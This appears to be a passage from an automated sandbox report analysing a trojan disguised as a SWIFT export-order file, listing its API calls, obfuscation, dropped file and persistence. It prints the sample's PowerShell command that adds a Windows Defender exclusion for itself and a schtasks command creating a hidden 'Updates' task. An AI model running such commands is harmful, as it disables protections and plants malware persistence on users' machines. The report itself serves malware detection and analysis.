Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409610 NtEnumerateValueKey, 8_2_01409610
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409A10 NtQuerySection, 8_2_01409A10
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014096D0 NtCreateKey, 8_2_014096D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409A80 NtOpenDirectoryObject, 8_2_01409A80
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9A50 NtCreateFile,LdrInitializeThunk, 20_2_02FA9A50
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9860 NtQuerySystemInformation,LdrInitializeThunk, 20_2_02FA9860
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9840 NtDelayExecution,LdrInitializeThunk, 20_2_02FA9840
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA99A0 NtCreateSection,LdrInitializeThunk, 20_2_02FA99A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9910 NtAdjustPrivilegesToken,LdrInitializeThunk, 20_2_02FA9910
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA96E0 NtFreeVirtualMemory,LdrInitializeThunk, 20_2_02FA96E0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA96D0 NtCreateKey,LdrInitializeThunk, 20_2_02FA96D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9660 NtAllocateVirtualMemory,LdrInitializeThunk, 20_2_02FA9660
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9650 NtQueryValueKey,LdrInitializeThunk, 20_2_02FA9650
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9FE0 NtCreateMutant,LdrInitializeThunk, 20_2_02FA9FE0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9780 NtMapViewOfSection,LdrInitializeThunk, 20_2_02FA9780
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9710 NtQueryInformationToken,LdrInitializeThunk, 20_2_02FA9710
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA95D0 NtClose,LdrInitializeThunk, 20_2_02FA95D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9540 NtReadFile,LdrInitializeThunk, 20_2_02FA9540
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9A80 NtOpenDirectoryObject, 20_2_02FA9A80
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9A20 NtResumeThread, 20_2_02FA9A20
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9A10 NtQuerySection, 20_2_02FA9A10
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9A00 NtProtectVirtualMemory, 20_2_02FA9A00
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FAA3B0 NtGetContextThread, 20_2_02FAA3B0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9B00 NtSetValueKey, 20_2_02FA9B00
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA98F0 NtReadVirtualMemory, 20_2_02FA98F0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA98A0 NtWriteVirtualMemory, 20_2_02FA98A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FAB040 NtSuspendThread, 20_2_02FAB040
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9820 NtEnumerateKey, 20_2_02FA9820
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA99D0 NtCreateProcessEx, 20_2_02FA99D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9950 NtQueueApcThread, 20_2_02FA9950
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9670 NtQueryInformationProcess, 20_2_02FA9670
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9610 NtEnumerateValueKey, 20_2_02FA9610
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA97A0 NtUnmapViewOfSection, 20_2_02FA97A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FAA770 NtOpenThread, 20_2_02FAA770
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9770 NtSetInformationFile, 20_2_02FA9770
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9760 NtOpenProcess, 20_2_02FA9760
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9730 NtQueryVirtualMemory, 20_2_02FA9730
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FAA710 NtOpenProcessToken, 20_2_02FAA710
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA95F0 NtQueryInformationFile, 20_2_02FA95F0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9560 NtWriteFile, 20_2_02FA9560
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FAAD30 NtSetContextThread, 20_2_02FAAD30
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FA9520 NtWaitForSingleObject, 20_2_02FA9520
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006C85F0 NtCreateFile, 20_2_006C85F0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006C86A0 NtReadFile, 20_2_006C86A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006C8720 NtClose, 20_2_006C8720
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006C87D0 NtAllocateVirtualMemory, 20_2_006C87D0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006C874A NtClose, 20_2_006C874A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006C871A NtClose, 20_2_006C871A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006C87CB NtAllocateVirtualMemory, 20_2_006C87CB
Sample file is different than original file name gathered from version info
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Binary or memory string: OriginalFilename vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.262565028.00000000007E2000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameUTF8Encodi.exe. vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameUI.dll@ vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263450761.0000000002C71000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameInnerException.dll" vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000003.238266998.000000000720E000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameUTF8Encodi.exe. vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.265407210.0000000005C30000.00000004.00020000.sdmp Binary or memory string: OriginalFilenameInnerException.dll" vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.265647076.0000000005F90000.00000004.00020000.sdmp Binary or memory string: OriginalFilenameUI.dll@ vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Binary or memory string: OriginalFilename vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353532686.000000000164F000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.352548275.00000000008F2000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameUTF8Encodi.exe. vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353038587.0000000000F74000.00000040.00020000.sdmp Binary or memory string: OriginalFilenameHelp.Exej% vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000003.264038334.000000000131F000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353352126.00000000014BF000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Binary or memory string: OriginalFilenameUTF8Encodi.exe. vs TT_SWIFT_Export Order_noref S10SMG00318021.exe
PE file contains strange resources
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AnsPejV.exe.0.dr Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: AnsPejV.exe.0.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe ReversingLabs: Detection: 35%
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe File read: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe:Zone.Identifier Jump to behavior
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe"
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\AnsPejV.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnsPejV" /XML "C:\Users\user\AppData\Local\Temp\tmp3FD.tmp
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\autochk.exe C:\Windows\SysWOW64\autochk.exe
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\AnsPejV.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnsPejV" /XML "C:\Users\user\AppData\Local\Temp\tmp3FD.tmp Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\autochk.exe C:\Windows\SysWOW64\autochk.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe File created: C:\Users\user\AppData\Roaming\AnsPejV.exe Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe File created: C:\Users\user\AppData\Local\Temp\tmp3FD.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winEXE@16/10@9/4
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Mutant created: \Sessions\1\BaseNamedObjects\Yjstdec
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5812:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6260:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6396:120:WilError_01
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: /UTF8Encodi;component/views/addbook.xaml
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: views/addcustomer.baml
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: views/addbook.baml
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: /UTF8Encodi;component/views/addcustomer.xaml
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: /UTF8Encodi;component/views/addbook.xaml
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: views/addbook.baml
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: views/addcustomer.baml
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: /UTF8Encodi;component/views/addcustomer.xaml
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: Q/UTF8Encodi;component/views/addbook.xamlg/UTF8Encodi;component/views/borrowfrombookview.xaml]/UTF8Encodi;component/views/borrowingview.xamlW/UTF8Encodi;component/views/changebook.xaml_/UTF8Encodi;component/views/changecustomer.xaml[/UTF8Encodi;component/views/customerview.xaml_/UTF8Encodi;component/views/deletecustomer.xamlU/UTF8Encodi;component/views/errorview.xamlY/UTF8Encodi;component/views/smallextras.xamlY/UTF8Encodi;component/views/addcustomer.xaml
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe String found in binary or memory: *images/booksimage.jpg$views/addbook.baml1J,views/addcustomer.baml
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: wntdll.pdbUGP source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000003.262649422.0000000001200000.00000004.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353122475.00000000013A0000.00000040.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353352126.00000000014BF000.00000040.00000001.sdmp, help.exe, 00000014.00000002.506159305.000000000305F000.00000040.00000001.sdmp, help.exe, 00000014.00000002.505506351.0000000002F40000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000003.262649422.0000000001200000.00000004.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353122475.00000000013A0000.00000040.00000001.sdmp, TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353352126.00000000014BF000.00000040.00000001.sdmp, help.exe, help.exe, 00000014.00000002.506159305.000000000305F000.00000040.00000001.sdmp, help.exe, 00000014.00000002.505506351.0000000002F40000.00000040.00000001.sdmp
Source: Binary string: help.pdbGCTL source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353029451.0000000000F70000.00000040.00020000.sdmp
Source: Binary string: help.pdb source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000008.00000002.353029451.0000000000F70000.00000040.00020000.sdmp

Data Obfuscation:

barindex
.NET source code contains potential unpacker
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: AnsPejV.exe.0.dr, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.7e0000.0.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.7e0000.0.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.8f0000.7.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.8f0000.3.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.8f0000.0.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.8f0000.9.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.8f0000.1.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.8f0000.2.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.8f0000.1.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.8f0000.5.unpack, Biblan/Views/MainWindow.cs .Net Code: ObjectIdentifier System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 0_2_007E92F5 push ds; ret 0_2_007E9340
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 0_2_007E9361 push ds; retf 0_2_007E9364
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 0_2_007E9347 push ds; ret 0_2_007E934C
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 0_2_052A56E0 push esp; iretd 0_2_052A56E9
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041B842 push eax; ret 8_2_0041B848
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041B84B push eax; ret 8_2_0041B8B2
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041C871 push 67D4EBBAh; ret 8_2_0041BB0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00415022 push ebx; ret 8_2_00415033
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041C027 push 67D4EBBAh; ret 8_2_0041BB0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041B8E6 push 67D4EBBAh; ret 8_2_0041BB0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041B8AC push eax; ret 8_2_0041B8B2
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00406124 push edx; ret 8_2_0040612E
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041C196 push 67D4EBBAh; ret 8_2_0041BB0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_004151AC push 53C4372Dh; iretd 8_2_004151B9
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041BB0C push 67D4EBBAh; ret 8_2_0041BB0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00419B23 push esp; iretd 8_2_00419B24
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041BC18 push 67D4EBBAh; ret 8_2_0041BB0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00414CAE push ds; retf 8_2_00414CAF
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041C575 push 67D4EBBAh; ret 8_2_0041BB0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041C6BB push 67D4EBBAh; ret 8_2_0041BB0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041B7F5 push eax; ret 8_2_0041B848
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_008F92F5 push ds; ret 8_2_008F9340
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_008F9347 push ds; ret 8_2_008F934C
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_008F9361 push ds; retf 8_2_008F9364
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0141D0D1 push ecx; ret 8_2_0141D0E4
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02FBD0D1 push ecx; ret 20_2_02FBD0E4
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006CC871 push 67D4EBBAh; ret 20_2_006CBB0A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006CB84B push eax; ret 20_2_006CB8B2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006CB842 push eax; ret 20_2_006CB848
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006CC027 push 67D4EBBAh; ret 20_2_006CBB0A
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006C5022 push ebx; ret 20_2_006C5033
Source: initial sample Static PE information: section name: .text entropy: 7.85893644673
Source: initial sample Static PE information: section name: .text entropy: 7.85893644673

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe File created: C:\Users\user\AppData\Roaming\AnsPejV.exe Jump to dropped file

Boot Survival:

barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\AnsPejV" /XML "C:\Users\user\AppData\Local\Temp\tmp3FD.tmp

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
